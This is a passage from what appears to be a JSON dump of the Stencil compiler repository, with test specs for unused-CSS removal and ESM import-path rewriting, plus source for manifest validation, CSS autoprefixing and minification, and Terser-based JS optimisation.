div label#usedId { font: used; }\n            div label#usedId.my-used { font: used; }\n            div label#usedId.my-used[mph] { font: used; }\n          </style>\n        </head>\n        <body>\n          <div>\n            <button id=\"usedId\" class=\"my-used\" mph=\"88\">Unused</button>\n          </div>\n        </body>\n      </html>\n    `);\n\n    removeUnusedStyles(doc, results.diagnostics);\n\n    expect(results.diagnostics).toHaveLength(0);\n\n    // Assert that `querySelector()` will return a value, since we defined the `style` element above.\n    const css = doc.querySelector('style')!.innerHTML;\n\n    expectNoSelector(css, 'label { font: used; }');\n    expectNoSelector(css, 'div label { font: used; }');\n    expectNoSelector(css, 'div label#usedId { font: used; }');\n    expectNoSelector(css, 'div label#usedId.my-used { font: used; }');\n    expectNoSelector(css, 'div label#usedId.my-used[mph] { font: used; }');\n  });\n\n  it('should keep used nested selectors', () => {\n    const doc = mockDocument(`\n      <html>\n        <head>\n          <style data-styles>\n            div { font: used; }\n            label { font: used; }\n            div label { font: used; }\n            div label#usedId { font: used; }\n            div label#usedId.my-used { font: used; }\n            div label#usedId.my-used[mph] { font: used; }\n          </style>\n        </head>\n        <body>\n          <div>\n            <label id=\"usedId\" class=\"my-used\" mph=\"88\">Used</label>\n          </div>\n        </body>\n      </html>\n    `);\n\n    removeUnusedStyles(doc, results.diagnostics);\n\n    expect(results.diagnostics).toHaveLength(0);\n\n    // Assert that `querySelector()` will return a value, since we defined the `style` element above.\n    const css = doc.querySelector('style')!.innerHTML;\n\n    expectSelector(css, 'div{font:used}');\n    expectSelector(css, 'label{font:used}');\n    expectSelector(css, 'div label{font:used}');\n    expectSelector(css, 'div label#usedId{font:used}');\n    expectSelector(css, 'div label#usedId.my-used{font:used}');\n    expectSelector(css, 'div label#usedId.my-used[mph]{font:used}');\n  });\n\n  it('should remove unused id selector', () => {\n    const doc = mockDocument(`\n      <html>\n        <head>\n          <style data-styles>\n            label { font: used; }\n            label#usedId { font: used; }\n            label#unusedId { font: unused; }\n            #another-UsedId { font: used; }\n            #another-UnusedId { font: unused; }\n          </style>\n        </head>\n        <body>\n          <div>\n            <label id=\"usedId\">Used</label>\n            <div id=\"another-UsedId\">Used</div>\n          </div>\n        </body>\n      </html>\n    `);\n\n    removeUnusedStyles(doc, results.diagnostics);\n\n    expect(results.diagnostics).toHaveLength(0);\n\n    // Assert that `querySelector()` will return a value, since we defined the `style` element above.\n    const css = doc.querySelector('style')!.innerHTML;\n\n    expectSelector(css, 'label{font:used}');\n    expectSelector(css, 'label#usedId');\n    expectSelector(css, '#another-UsedId');\n    expectNoSelector(css, 'label#unusedId');\n    expectNoSelector(css, '#another-UnusedId');\n  });\n\n  it('should remove unused attr selector', () => {\n    const doc = mockDocument(`\n      <html>\n        <head>\n          <style data-styles>\n            label { font: used; }\n            label[mph=\"88\"] { font: used; }\n            label[unused=\"val\"] { font: unused; }\n          </style>\n        </head>\n        <body>\n          <label mph=\"88\">Used</label>\n        </body>\n      </html>\n    `);\n\n    removeUnusedStyles(doc, results.diagnostics);\n\n    expect(results.diagnostics).toHaveLength(0);\n\n    // Assert that `querySelector()` will return a value, since we defined the `style` element above.\n    const css = doc.querySelector('style')!.innerHTML;\n\n    expectSelector(css, 'label{font:used}');\n    expectSelector(css, 'label[mph=\"88\"]');\n    expectNoSelector(css, 'label[unused=\"val\"]');\n  });\n\n  it('should remove unused tag selector', () => {\n    const doc = mockDocument(`\n      <html>\n        <head>\n          <style data-styles>\n            div { font: unused }\n            label { font: used }\n          </style>\n        </head>\n        <body>\n          <label class=\"div\">Used</label>\n        </body>\n      </html>\n    `);\n\n    removeUnusedStyles(doc, results.diagnostics);\n\n    expect(results.diagnostics).toHaveLength(0);\n\n    // Assert that `querySelector()` will return a value, since we defined the `style` element above.\n    const css = doc.querySelector('style')!.innerHTML;\n\n    expectSelector(css, 'label');\n    expectNoSelector(css, 'div');\n  });\n\n  it('should remove unused classname in multi-selector', () => {\n    const doc = mockDocument(`\n      <html>\n        <head>\n          <style data-styles>\n            .unused-class, .unused-class2 { font: unused }\n            .used-class { font: used }\n          </style>\n        </head>\n        <body>\n          <div class=\"used-class\"></div>\n        </body>\n      </html>\n    `);\n\n    removeUnusedStyles(doc, results.diagnostics);\n\n    expect(results.diagnostics).toHaveLength(0);\n\n    // Assert that `querySelector()` will return a value, since we defined the `style` element above.\n    const css = doc.querySelector('style')!.innerHTML;\n\n    expectSelector(css, '.used-class');\n    expectNoSelector(css, '.unused-class');\n    expectNoSelector(css, '.unused-class2');\n  });\n\n  it('should remove unused classname', () => {\n    const doc = mockDocument(`\n      <html>\n        <head>\n          <style data-styles>\n            .used-class { font: used }\n            .unused-class { font: unused }\n          </style>\n        </head>\n        <body>\n          <div class=\"used-class\"></div>\n        </body>\n      </html>\n    `);\n\n    removeUnusedStyles(doc, results.diagnostics);\n\n    expect(results.diagnostics).toHaveLength(0);\n\n    // Assert that `querySelector()` will return a value, since we defined the `style` element above.\n    const css = doc.querySelector('style')!.innerHTML;\n\n    expectSelector(css, '.used-class');\n    expectNoSelector(css, '.unused-class');\n  });\n\n  function expectSelector(css: string, selector: string) {\n    selector = selector.replace(/ \\{ /g, '{').replace(/ \\} /g, '}').replace(/\\: /g, ':').replace(/\\; /g, ';');\n    expect(css).toContain(selector);\n  }\n\n  function expectNoSelector(css: string, selector: string) {\n    selector = selector.replace(/ \\{ /g, '{').replace(/ \\} /g, '}').replace(/\\: /g, ':').replace(/\\; /g, ';');\n    expect(css).not.toContain(selector);\n  }\n});\n"
  },
  {
    "path": "src/compiler/html/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/html/test/update-esm-import-paths.spec.ts",
    "content": "import { updateImportPaths } from '../inline-esm-import';\n\ndescribe('updateImportPaths', () => {\n  const newAbsDir = '/build/';\n\n  it('should transform qualified JS imports', () => {\n    const input = `import{p as e,b as o}from\"./p-f6a9428b.js\"`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe('import{p as e,b as o}from\"/build/p-f6a9428b.js\"');\n  });\n\n  it(`import\"./p-f86dea13.js\";`, () => {\n    const input = `import\"./p-f86dea13.js\";`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe(`import\"/build/p-f86dea13.js\";`);\n  });\n\n  it('should transform multiple JS module specifiers', () => {\n    const input = `import'./a.js';import'./b.js';import'./c.js';`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe(`import'/build/a.js';import'/build/b.js';import'/build/c.js';`);\n  });\n\n  it('should transform a single JS module specifier', () => {\n    const input = `import './p-f86dea13.js';`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe(`import '/build/p-f86dea13.js';`);\n  });\n\n  it('should transform multiple ESM module specifiers', () => {\n    const input = `import'./a.mjs';import'./b.mjs';import'./c.mjs';`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe(`import'/build/a.mjs';import'/build/b.mjs';import'/build/c.mjs';`);\n  });\n\n  it('should transform a single ESM module specifier', () => {\n    const input = `import './p-f86dea13.mjs';`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe(`import '/build/p-f86dea13.mjs';`);\n  });\n\n  it('should not transform non-JS extensions', () => {\n    const input = `import './no-touch.xml';`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe(`import './no-touch.xml';`);\n  });\n\n  it('should only transform relative paths', () => {\n    const input = `import '/no-touch.js';`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe(`import '/no-touch.js';`);\n  });\n\n  it('should not transform a module specifier without an extension', () => {\n    const input = `import 'leave-me-be';`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe(`import 'leave-me-be';`);\n  });\n\n  it('should update both an import and an export statement', () => {\n    const input = `import './p-010101.js'; export { foo } from './p-010101.js'`;\n    const o = updateImportPaths(input, newAbsDir);\n    expect(o.code).toBe(`import '/build/p-010101.js'; export { foo } from '/build/p-010101.js'`);\n  });\n});\n"
  },
  {
    "path": "src/compiler/html/update-global-styles-link.ts",
    "content": "import { join } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { getAbsoluteBuildDir } from './html-utils';\n\nexport const updateGlobalStylesLink = (\n  config: d.ValidatedConfig,\n  doc: Document,\n  globalScriptFilename: string,\n  outputTarget: d.OutputTargetWww,\n) => {\n  if (!globalScriptFilename) {\n    return;\n  }\n  const buildDir = getAbsoluteBuildDir(outputTarget);\n  const originalPath = join(buildDir, config.fsNamespace + '.css');\n  const newPath = join(buildDir, globalScriptFilename);\n  if (originalPath === newPath) {\n    return;\n  }\n\n  const replacer = new RegExp(escapeRegExp(originalPath) + '$');\n\n  Array.from(doc.querySelectorAll('link')).forEach((link) => {\n    const href = link.getAttribute('href');\n    if (href) {\n      const newHref = href.replace(replacer, newPath);\n      if (newHref !== href) {\n        link.setAttribute('href', newHref);\n      }\n    }\n  });\n};\n\nconst escapeRegExp = (text: string) => text.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&');\n"
  },
  {
    "path": "src/compiler/html/used-components.ts",
    "content": "import type * as d from '../../declarations';\n\n/**\n * Scan the provided `doc` for any known Stencil components\n * @param doc the Document to scan\n * @param cmps the compiler metadata of known Stencil components\n * @returns a list of all tags that were identified as known Stencil components\n */\nexport const getUsedComponents = (doc: Document, cmps: d.ComponentCompilerMeta[]): string[] => {\n  const tags = new Set(cmps.map((cmp: d.ComponentCompilerMeta) => cmp.tagName.toUpperCase()));\n  const found: string[] = [];\n\n  const searchComponents = (el: Element) => {\n    if (tags.has(el.tagName)) {\n      found.push(el.tagName.toLowerCase());\n    }\n\n    for (let i = 0; i < el.childElementCount; i++) {\n      searchComponents(el.children[i]);\n    }\n  };\n  searchComponents(doc.documentElement);\n\n  return found;\n};\n"
  },
  {
    "path": "src/compiler/html/validate-manifest-json.ts",
    "content": "import { buildError, buildJsonFileError, isOutputTargetWww, join } from '@utils';\nimport { dirname } from 'path';\n\nimport type * as d from '../../declarations';\n\nexport const validateManifestJson = (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  if (config.devMode) {\n    return null;\n  }\n\n  const outputTargets = config.outputTargets.filter(isOutputTargetWww);\n\n  return Promise.all(\n    outputTargets.map(async (outputsTarget) => {\n      const manifestFilePath = join(outputsTarget.dir, 'manifest.json');\n\n      try {\n        const manifestContent = await compilerCtx.fs.readFile(manifestFilePath);\n        if (manifestContent) {\n          try {\n            const manifestData = JSON.parse(manifestContent);\n            await validateManifestJsonData(compilerCtx, buildCtx, manifestFilePath, manifestData);\n          } catch (e) {\n            const err = buildError(buildCtx.diagnostics);\n            err.header = `Invalid manifest.json: ${e}`;\n            err.absFilePath = manifestFilePath;\n          }\n        }\n      } catch (e) {}\n    }),\n  );\n};\n\nconst validateManifestJsonData = async (\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  manifestFilePath: string,\n  manifestData: any,\n) => {\n  if (Array.isArray(manifestData.icons)) {\n    await Promise.all(\n      manifestData.icons.map((manifestIcon: any) => {\n        return validateManifestJsonIcon(compilerCtx, buildCtx, manifestFilePath, manifestIcon);\n      }),\n    );\n  }\n};\n\nconst validateManifestJsonIcon = async (\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  manifestFilePath: string,\n  manifestIcon: any,\n) => {\n  let iconSrc = manifestIcon.src;\n  if (typeof iconSrc !== 'string') {\n    const msg = `Manifest icon missing \"src\"`;\n    buildJsonFileError(compilerCtx, buildCtx.diagnostics, manifestFilePath, msg, `\"icons\"`);\n    return;\n  }\n\n  if (iconSrc.startsWith('/')) {\n    iconSrc = iconSrc.slice(1);\n  }\n\n  const manifestDir = dirname(manifestFilePath);\n  const iconPath = join(manifestDir, iconSrc);\n  const hasAccess = await compilerCtx.fs.access(iconPath);\n  if (!hasAccess) {\n    const msg = `Unable to find manifest icon \"${manifestIcon.src}\"`;\n    buildJsonFileError(compilerCtx, buildCtx.diagnostics, manifestFilePath, msg, `\"${manifestIcon.src}\"`);\n  }\n};\n"
  },
  {
    "path": "src/compiler/index.ts",
    "content": "import ts from 'typescript';\n\nexport { buildId, vermoji, version, versions } from '../version';\nexport { createCompiler } from './compiler';\nexport { loadConfig } from './config/load-config';\nexport { optimizeCss } from './optimize/optimize-css';\nexport { optimizeJs } from './optimize/optimize-js';\nexport { createPrerenderer } from './prerender/prerender-main';\nexport { FsWriteResults } from './sys/in-memory-fs';\nexport { nodeRequire } from './sys/node-require';\nexport { createSystem } from './sys/stencil-sys';\nexport { transpile, transpileSync } from './transpile';\nexport { createWorkerContext } from './worker/worker-thread';\nexport { createWorkerMessageHandler } from './worker/worker-thread';\nexport { ts };\nexport { validateConfig } from './config/validate-config';\n"
  },
  {
    "path": "src/compiler/optimize/autoprefixer.ts",
    "content": "import { Postcss } from 'postcss';\n\nimport type * as d from '../../declarations';\n\ntype CssProcessor = ReturnType<Postcss>;\nlet cssProcessor: CssProcessor;\n\n/**\n * Autoprefix a CSS string, adding vendor prefixes to make sure that what\n * is written in the CSS will render correctly in our range of supported browsers.\n * This function uses PostCSS in combination with the Autoprefix plugin to\n * automatically add vendor prefixes based on a list of browsers which we want\n * to support.\n *\n * @param cssText the text to be prefixed\n * @param opts an optional param with options for Autoprefixer\n * @returns a Promise wrapping some prefixed CSS as well as diagnostics\n */\nexport const autoprefixCss = async (cssText: string, opts: boolean | null | d.AutoprefixerOptions) => {\n  const output: d.OptimizeCssOutput = {\n    output: cssText,\n    diagnostics: [],\n  };\n\n  try {\n    const autoprefixerOpts = opts != null && typeof opts === 'object' ? opts : DEFAULT_AUTOPREFIX_OPTIONS;\n\n    const processor = getProcessor(autoprefixerOpts);\n    const result = await processor.process(cssText, { map: null });\n\n    result.warnings().forEach((warning: any) => {\n      output.diagnostics.push({\n        header: `Autoprefix CSS: ${warning.plugin}`,\n        messageText: warning.text,\n        level: 'warn',\n        type: 'css',\n        lines: [],\n      });\n    });\n\n    output.output = result.css;\n  } catch (e: any) {\n    const diagnostic: d.Diagnostic = {\n      header: `Autoprefix CSS`,\n      messageText: `CSS Error` + e,\n      level: `error`,\n      type: `css`,\n      lines: [],\n    };\n\n    if (typeof e.name === 'string') {\n      diagnostic.header = e.name;\n    }\n\n    if (typeof e.reason === 'string') {\n      diagnostic.messageText = e.reason;\n    }\n\n    if (typeof e.source === 'string' && typeof e.line === 'number') {\n      const lines = (e.source as string).replace(/\\r/g, '\\n').split('\\n');\n\n      if (lines.length > 0) {\n        const addLine = (lineNumber: number) => {\n          const line = lines[lineNumber];\n          if (typeof line === 'string') {\n            const printLine: d.PrintLine = {\n              lineIndex: -1,\n              lineNumber: -1,\n              text: line,\n              errorCharStart: -1,\n              errorLength: -1,\n            };\n            diagnostic.lines = diagnostic.lines || [];\n            diagnostic.lines.push(printLine);\n          }\n        };\n\n        addLine(e.line - 3);\n        addLine(e.line - 2);\n        addLine(e.line - 1);\n        addLine(e.line);\n        addLine(e.line + 1);\n        addLine(e.line + 2);\n        addLine(e.line + 3);\n      }\n    }\n\n    output.diagnostics.push(diagnostic);\n  }\n\n  return output;\n};\n\n/**\n * Get the processor for PostCSS and the Autoprefixer plugin\n *\n * @param autoprefixerOpts Options for Autoprefixer\n * @returns postCSS with the Autoprefixer plugin applied\n */\nconst getProcessor = (autoprefixerOpts: d.AutoprefixerOptions): CssProcessor => {\n  const { postcss, autoprefixer } = require('../sys/node/autoprefixer.js');\n  if (!cssProcessor) {\n    cssProcessor = postcss([autoprefixer(autoprefixerOpts)]);\n  }\n  return cssProcessor;\n};\n\n/**\n * Default options for the Autoprefixer PostCSS plugin. See the documentation:\n * https://github.com/postcss/autoprefixer#options for a complete list.\n *\n * This default option set will:\n *\n * - override the default browser list (`overrideBrowserslist`)\n * - turn off the visual cascade (`cascade`)\n * - disable auto-removing outdated prefixes (`remove`)\n * - set `flexbox` to `\"no-2009\"`, which limits prefixing for flexbox to the\n *   final and IE 10 versions of the specification\n */\nconst DEFAULT_AUTOPREFIX_OPTIONS: d.AutoprefixerOptions = {\n  overrideBrowserslist: ['last 2 versions', 'iOS >= 9', 'Android >= 4.4', 'Explorer >= 11', 'ExplorerMobile >= 11'],\n  cascade: false,\n  remove: false,\n  flexbox: 'no-2009',\n};\n"
  },
  {
    "path": "src/compiler/optimize/minify-css.ts",
    "content": "import { hasError, isFunction, isString } from '@utils';\n\nimport { CssNode, CssNodeType } from '../style/css-parser/css-parse-declarations';\nimport { parseCss } from '../style/css-parser/parse-css';\nimport { serializeCss } from '../style/css-parser/serialize-css';\n\n/**\n * Minifies a given CSS string by parsing it into an AST,\n * optionally resolving URLs, and serializing it back to a string.\n *\n * @param input An object containing the CSS string and an optional resolveUrl function to handle URL resolution.\n * @returns A promise that resolves to the minified CSS string.\n */\nexport const minifyCss = async (input: { css: string; resolveUrl?: (url: string) => Promise<string> | string }) => {\n  const parseResults = parseCss(input.css);\n\n  if (hasError(parseResults.diagnostics)) {\n    return input.css;\n  }\n  if (isFunction(input.resolveUrl) && parseResults.stylesheet && Array.isArray(parseResults.stylesheet.rules)) {\n    await resolveStylesheetUrl(parseResults.stylesheet.rules, input.resolveUrl, new Map());\n  }\n\n  return serializeCss(parseResults.stylesheet, {});\n};\n\nconst resolveStylesheetUrl = async (\n  nodes: CssNode[],\n  resolveUrl: (url: string) => Promise<string> | string,\n  resolved: Map<string, string>,\n) => {\n  for (const node of nodes) {\n    if (node.type === CssNodeType.Declaration && isString(node.value) && node.value.includes('url(')) {\n      const urlSplt = node.value.split(',').map((n) => n.trim());\n      for (let i = 0; i < urlSplt.length; i++) {\n        const r = /url\\((.*?)\\)/.exec(urlSplt[i]);\n        if (r) {\n          try {\n            const orgUrl = r[1].replace(/(\\'|\\\")/g, '');\n            const newUrl = await resolveUrl(orgUrl);\n            urlSplt[i] = urlSplt[i].replace(orgUrl, newUrl);\n          } catch (e) {}\n        }\n      }\n      node.value = urlSplt.join(',');\n    }\n    if (Array.isArray(node.declarations)) {\n      await resolveStylesheetUrl(node.declarations, resolveUrl, resolved);\n    }\n    if (Array.isArray(node.rules)) {\n      await resolveStylesheetUrl(node.rules, resolveUrl, resolved);\n    }\n    if (Array.isArray(node.keyframes)) {\n      await resolveStylesheetUrl(node.keyframes, resolveUrl, resolved);\n    }\n  }\n};\n"
  },
  {
    "path": "src/compiler/optimize/minify-js.ts",
    "content": "import { splitLineBreaks } from '@utils';\nimport { CompressOptions, MangleOptions, ManglePropertiesOptions, minify, MinifyOptions } from 'terser';\n\nimport type * as d from '../../declarations';\n\n/**\n * Performs the minification of JavaScript source\n * @param input the JavaScript source to minify\n * @param opts the options used by the minifier\n * @returns the resulting minified JavaScript\n */\nexport const minifyJs = async (input: string, opts?: MinifyOptions): Promise<d.OptimizeJsResult> => {\n  const results: d.OptimizeJsResult = {\n    output: input,\n    sourceMap: null,\n    diagnostics: [],\n  };\n\n  if (opts) {\n    const mangle = opts.mangle as MangleOptions;\n    if (mangle) {\n      const mangleProperties = mangle.properties as ManglePropertiesOptions;\n      if (mangleProperties && mangleProperties.regex) {\n        mangleProperties.regex = new RegExp(mangleProperties.regex);\n      }\n    }\n    if (opts.sourceMap) {\n      /**\n       * sourceMap, when used in conjunction with compress, can lead to sourcemaps that don't in every browser. despite\n       * there being a sourcemap spec, each browser has it's own tricks for trying to get sourcemaps to properly map\n       * minified JS back to its original form. for the most consistent results across all browsers, explicitly disable\n       * compress.\n       */\n      opts.compress = undefined;\n    }\n  }\n\n  try {\n    const minifyResults = await minify(input, opts);\n\n    results.output = minifyResults.code;\n    results.sourceMap = typeof minifyResults.map === 'string' ? JSON.parse(minifyResults.map) : minifyResults.map;\n    const compress = opts.compress as CompressOptions;\n    if (compress && compress.module && results.output.endsWith('};')) {\n      // stripping the semicolon here _shouldn't_ be of significant consequence for the already generated sourcemap\n      results.output = results.output.substring(0, results.output.length - 1);\n    }\n  } catch (e) {\n    if (e instanceof Error) {\n      console.log(e.stack);\n    }\n    loadMinifyJsDiagnostics(input, results.diagnostics, e);\n  }\n\n  return results;\n};\n\nconst loadMinifyJsDiagnostics = (sourceText: string, diagnostics: d.Diagnostic[], error: any) => {\n  const d: d.Diagnostic = {\n    level: 'error',\n    type: 'build',\n    language: 'javascript',\n    header: 'Minify JS',\n    code: '',\n    messageText: error.message,\n    absFilePath: undefined,\n    relFilePath: undefined,\n    lines: [],\n  };\n\n  const err: {\n    col: number;\n    filename: string;\n    line: number;\n    message: string;\n    name: string;\n    pos: number;\n    stack: string;\n  } = error;\n\n  if (typeof err.line === 'number' && err.line > -1) {\n    const srcLines = splitLineBreaks(sourceText);\n\n    const errorLine: d.PrintLine = {\n      lineIndex: err.line - 1,\n      lineNumber: err.line,\n      text: srcLines[err.line - 1],\n      errorCharStart: err.col,\n      errorLength: 0,\n    };\n\n    d.lineNumber = errorLine.lineNumber;\n    d.columnNumber = errorLine.errorCharStart;\n\n    const highlightLine = errorLine.text.slice(d.columnNumber);\n    for (let i = 0; i < highlightLine.length; i++) {\n      if (MINIFY_CHAR_BREAK.has(highlightLine.charAt(i))) {\n        break;\n      }\n      errorLine.errorLength++;\n    }\n\n    d.lines.push(errorLine);\n\n    if (errorLine.errorLength === 0 && errorLine.errorCharStart > 0) {\n      errorLine.errorLength = 1;\n      errorLine.errorCharStart--;\n    }\n\n    if (errorLine.lineIndex > 0) {\n      const previousLine: d.PrintLine = {\n        lineIndex: errorLine.lineIndex - 1,\n        lineNumber: errorLine.lineNumber - 1,\n        text: srcLines[errorLine.lineIndex - 1],\n        errorCharStart: -1,\n        errorLength: -1,\n      };\n\n      d.lines.unshift(previousLine);\n    }\n\n    if (errorLine.lineIndex + 1 < srcLines.length) {\n      const nextLine: d.PrintLine = {\n        lineIndex: errorLine.lineIndex + 1,\n        lineNumber: errorLine.lineNumber + 1,\n        text: srcLines[errorLine.lineIndex + 1],\n        errorCharStart: -1,\n        errorLength: -1,\n      };\n\n      d.lines.push(nextLine);\n    }\n  }\n\n  diagnostics.push(d);\n};\n\nconst MINIFY_CHAR_BREAK = new Set([\n  ' ',\n  '=',\n  '.',\n  ',',\n  '?',\n  ':',\n  ';',\n  '(',\n  ')',\n  '{',\n  '}',\n  '[',\n  ']',\n  '|',\n  `'`,\n  `\"`,\n  '`',\n]);\n"
  },
  {
    "path": "src/compiler/optimize/optimize-css.ts",
    "content": "import { hasError } from '@utils';\n\nimport { OptimizeCssInput, OptimizeCssOutput } from '../../declarations';\nimport { autoprefixCss } from './autoprefixer';\nimport { minifyCss } from './minify-css';\n\n/**\n * Optimize a CSS file, optionally running an autoprefixer and a minifier\n * depending on the options set on the input options argument.\n *\n * @param inputOpts input CSS options\n * @returns a promise wrapping the optimized output\n */\nexport const optimizeCss = async (inputOpts: OptimizeCssInput): Promise<OptimizeCssOutput> => {\n  let result: OptimizeCssOutput = {\n    output: inputOpts.input,\n    diagnostics: [],\n  };\n  if (inputOpts.autoprefixer !== false && inputOpts.autoprefixer !== null) {\n    result = await autoprefixCss(inputOpts.input, inputOpts.autoprefixer ?? null);\n    if (hasError(result.diagnostics)) {\n      return result;\n    }\n  }\n  if (inputOpts.minify !== false) {\n    result.output = await minifyCss({\n      css: result.output,\n      resolveUrl: inputOpts.resolveUrl,\n    });\n  }\n  return result;\n};\n"
  },
  {
    "path": "src/compiler/optimize/optimize-js.ts",
    "content": "import { catchError } from '@utils';\n\nimport { ValidatedConfig, OptimizeJsInput, OptimizeJsOutput } from '../../declarations';\nimport { minifyJs } from './minify-js';\nimport { getTerserOptions } from './optimize-module';\n\n/**\n * Utility function used by the compiler to optimize JavaScript. Knowing the\n * JavaScript target will further apply minification optimizations beyond usual\n * minification.\n *\n * @param inputOpts options to control how the JS optimization should take\n * place\n * @returns a promise wrapping an output object\n */\nexport const optimizeJs = async (inputOpts: OptimizeJsInput) => {\n  const result: OptimizeJsOutput = {\n    output: inputOpts.input,\n    diagnostics: [],\n    sourceMap: null,\n  };\n\n  try {\n    const prettyOutput = !!inputOpts.pretty;\n    const sourceTarget = inputOpts.target === 'es5' ? 'es5' : 'latest';\n    const minifyOpts = getTerserOptions({} as ValidatedConfig, sourceTarget, prettyOutput);\n\n    const minifyResults = await minifyJs(inputOpts.input, minifyOpts);\n    if (minifyResults.diagnostics.length > 0) {\n      result.diagnostics.push(...minifyResults.diagnostics);\n    } else {\n      result.output = minifyResults.output;\n      result.sourceMap = minifyResults.sourceMap;\n    }\n  } catch (e: any) {\n    catchError(result.diagnostics, e);\n  }\n\n  return result;\n};\n"
  },
  {
    "path": "src/compiler/optimize/optimize-module.ts",
    "content": "import sourceMapMerge from 'merge-source-map';\nimport type { CompressOptions, MangleOptions, ManglePropertiesOptions, MinifyOptions, SourceMapOptions } from 'terser';\nimport ts from 'typescript';\n\nimport type { CompilerCtx, OptimizeJsResult, SourceMap, SourceTarget, ValidatedConfig } from '../../declarations';\nimport { minfyJsId } from '../../version';\nimport { minifyJs } from './minify-js';\n\ninterface OptimizeModuleOptions {\n  input: string;\n  sourceMap?: SourceMap;\n  sourceTarget?: SourceTarget;\n  isCore?: boolean;\n  minify?: boolean;\n  inlineHelpers?: boolean;\n  modeName?: string;\n}\n\n/**\n * Begins the process of minifying a user's JavaScript\n * @param config the Stencil configuration file that was provided as a part of the build step\n * @param compilerCtx the current compiler context\n * @param opts minification options that specify how the JavaScript ought to be minified\n * @returns the minified JavaScript result\n */\nexport const optimizeModule = async (\n  config: ValidatedConfig,\n  compilerCtx: CompilerCtx,\n  opts: OptimizeModuleOptions,\n): Promise<OptimizeJsResult> => {\n  if ((!opts.minify && opts.sourceTarget !== 'es5') || opts.input === '') {\n    return {\n      output: opts.input,\n      diagnostics: [],\n      sourceMap: opts.sourceMap,\n    };\n  }\n\n  const isDebug = config.logLevel === 'debug';\n  const cacheKey = await compilerCtx.cache.createKey('optimizeModule', minfyJsId, opts, isDebug);\n  const cachedContent = await compilerCtx.cache.get(cacheKey);\n  if (cachedContent != null) {\n    const cachedMap = await compilerCtx.cache.get(cacheKey + 'Map');\n    return {\n      output: cachedContent,\n      diagnostics: [],\n      sourceMap: cachedMap ? JSON.parse(cachedMap) : null,\n    };\n  }\n\n  let minifyOpts: MinifyOptions;\n  let code = opts.input;\n  if (opts.isCore) {\n    // IS_ESM_BUILD is replaced at build time so SystemJS and esm builds have diff values\n    // not using the BUILD conditional since rollup would input the same value\n    code = code.replace(/\\/\\* IS_ESM_BUILD \\*\\//g, '&& false /* IS_SYSTEM_JS_BUILD */');\n  }\n\n  if (opts.sourceTarget === 'es5' || opts.minify) {\n    minifyOpts = getTerserOptions(config, opts.sourceTarget, isDebug);\n    if (config.sourceMap) {\n      minifyOpts.sourceMap = {\n        content:\n          // We need to loosely check for a source map definition\n          // so we don't spread a `null`/`undefined` value into the object\n          // which results in invalid source maps during minification\n          opts.sourceMap != null\n            ? {\n                ...opts.sourceMap,\n                version: 3,\n              }\n            : undefined,\n      };\n    }\n\n    const compressOpts = minifyOpts.compress as CompressOptions;\n    const mangleOptions = minifyOpts.mangle as MangleOptions;\n\n    if (opts.sourceTarget !== 'es5' && opts.isCore) {\n      if (!isDebug) {\n        compressOpts.passes = 2;\n        compressOpts.global_defs = {\n          supportsListenerOptions: true,\n        };\n        compressOpts.pure_funcs = compressOpts.pure_funcs || [];\n        compressOpts.pure_funcs = ['getHostRef', ...compressOpts.pure_funcs];\n      }\n\n      mangleOptions.properties = {\n        debug: isDebug,\n        ...getTerserManglePropertiesConfig(),\n      };\n\n      compressOpts.inline = 1;\n      compressOpts.unsafe = true;\n      compressOpts.unsafe_undefined = true;\n    }\n  }\n\n  const shouldTranspile = opts.sourceTarget === 'es5';\n  const results = await compilerCtx.worker.prepareModule(code, minifyOpts, shouldTranspile, !!opts.inlineHelpers);\n  if (\n    results != null &&\n    typeof results.output === 'string' &&\n    results.diagnostics.length === 0 &&\n    compilerCtx != null\n  ) {\n    if (opts.isCore) {\n      results.output = results.output.replace(/disconnectedCallback\\(\\)\\{\\},/g, '');\n    }\n    await compilerCtx.cache.put(cacheKey, results.output);\n    if (results.sourceMap) {\n      await compilerCtx.cache.put(cacheKey + 'Map', JSON.stringify(results.sourceMap));\n    }\n  }\n\n  return results;\n};\n\n/**\n * Builds a configuration object to be used by Terser for the purposes of minifying a user's JavaScript\n * @param config the Stencil configuration file that was provided as a part of the build step\n * @param sourceTarget the version of JavaScript being targeted (e.g. ES2017)\n * @param prettyOutput if true, set the necessary flags to beautify the output of terser\n * @returns the minification options\n */\nexport const getTerserOptions = (\n  config: ValidatedConfig,\n  sourceTarget: SourceTarget,\n  prettyOutput: boolean,\n): MinifyOptions => {\n  const opts: MinifyOptions = {\n    ie8: false,\n    safari10: false,\n    format: {},\n    sourceMap: config.sourceMap,\n  };\n\n  if (sourceTarget === 'es5') {\n    opts.ecma = opts.format.ecma = 5;\n    opts.compress = false;\n    opts.mangle = {\n      properties: getTerserManglePropertiesConfig(),\n    };\n  } else {\n    opts.mangle = {\n      properties: getTerserManglePropertiesConfig(),\n    };\n    opts.compress = {\n      pure_getters: true,\n      keep_fargs: false,\n      passes: 2,\n    };\n\n    opts.ecma = opts.format.ecma = opts.compress.ecma = 2018;\n    opts.toplevel = true;\n    opts.module = true;\n    opts.mangle.toplevel = true;\n    opts.compress.arrows = true;\n    opts.compress.module = true;\n    opts.compress.toplevel = true;\n  }\n\n  if (prettyOutput) {\n    opts.mangle = {\n      keep_fnames: true,\n      properties: getTerserManglePropertiesConfig(),\n    };\n    opts.compress = {};\n    opts.compress.drop_console = false;\n    opts.compress.drop_debugger = false;\n    opts.compress.pure_funcs = [];\n    opts.format.beautify = 